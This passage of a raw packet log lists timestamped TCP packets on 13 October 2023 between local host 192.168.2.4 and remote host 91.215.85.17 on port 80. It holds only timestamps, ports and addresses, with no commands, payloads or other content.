Oct 13, 2023 16:05:56.243470907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.243513107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.243563890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.243601084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.243638992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.243679047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.243716955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.243757010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.243959904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244004011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244040966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244081020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244096994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244141102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244216919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244259119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244296074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244338036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244410992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244456053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244493008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244538069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244586945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244627953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244688988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244729996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244754076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244796991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244870901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244915009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.244939089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.244981050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245024920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245068073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245126963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245167971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245192051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245232105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245268106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245307922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245384932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245426893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245462894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245502949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245517969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245563030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245614052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245657921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245676994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245723009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245753050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245791912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245801926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245840073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245877981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245919943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.245955944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.245995045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246020079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246062040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246071100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246113062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246191978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246233940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246279955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246326923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246330976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246362925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246371031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246402025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246443033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246485949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246522903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246572971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246611118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246659040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246697903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246712923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246743917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246763945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246798038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246841908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246845007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246886969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246912003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.246953011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.246969938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247014046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247025013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247066021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247091055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247133970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247159958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247204065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247241020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247283936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247361898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247406006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247423887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247466087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247490883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247534037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247631073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247673988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247693062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247737885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247808933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247858047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247859001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247905970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.247927904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247972965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.247975111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248013973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248028040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248073101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248092890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248137951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248159885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248188972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248207092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248238087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248312950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248357058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248394966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248440981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248466969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248513937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248541117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248583078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248605967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248648882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248675108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248717070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248742104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248784065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248838902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248882055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248888969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248902082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.248929024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248946905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.248972893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249013901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249015093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249056101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249079943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249125004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249171972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249213934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249238968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249279976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249315977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249356985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249382973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249432087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249458075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249497890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249521017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249558926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249586105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249627113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249655008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249695063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249723911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249763966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249830008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249874115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249897003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249926090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.249948025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249960899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.249974966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250016928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250041008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250088930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250114918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250155926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250180960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250224113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250250101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250296116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250313997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250356913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250392914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250410080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250444889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250474930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250482082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250526905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250539064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250586987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250641108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250670910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250685930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250710011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250711918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250754118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250818968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250854015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250864029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250894070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250900984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.250942945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.250992060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251034975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251060009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251097918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251127958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251169920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251208067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251252890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251256943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251302004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251313925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251358032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251384020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251424074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251435041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251475096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251491070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251533031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251549006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251590967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251616955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251641035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251661062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251672983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251723051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251765966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251791000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251832962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251848936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251866102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251897097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251913071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.251933098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.251976967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252002001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252043009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252079010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252140045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252177000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252218962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252239943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252280951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252305984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252356052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252377033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252424955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252449036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252490044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252551079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252593994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252651930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252698898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252724886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252770901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252772093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252810955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252825022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252866983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252883911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252912998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.252933025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.252953053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253009081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253051043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253087044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253129959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253151894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253192902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253197908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253236055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253278017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253325939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253350019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253397942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253470898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253515959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253524065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253568888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253576040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253626108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253638983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253684044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253707886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253751040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253814936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253859997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253884077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253927946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.253952980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.253994942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254009962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254051924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254115105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254162073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254168034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254211903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254236937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254280090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254317999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254363060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254441977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254488945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254513979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254559994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254582882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254621983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254647017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254692078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254726887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254772902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254797935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254842997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254867077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254914045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254937887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.254983902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.254997969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255042076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255065918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255109072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255127907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255172014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255182028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255224943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255224943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255269051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255292892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255337000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255357027 CEST	80	49762	91.215.85.17	192.168.2.4
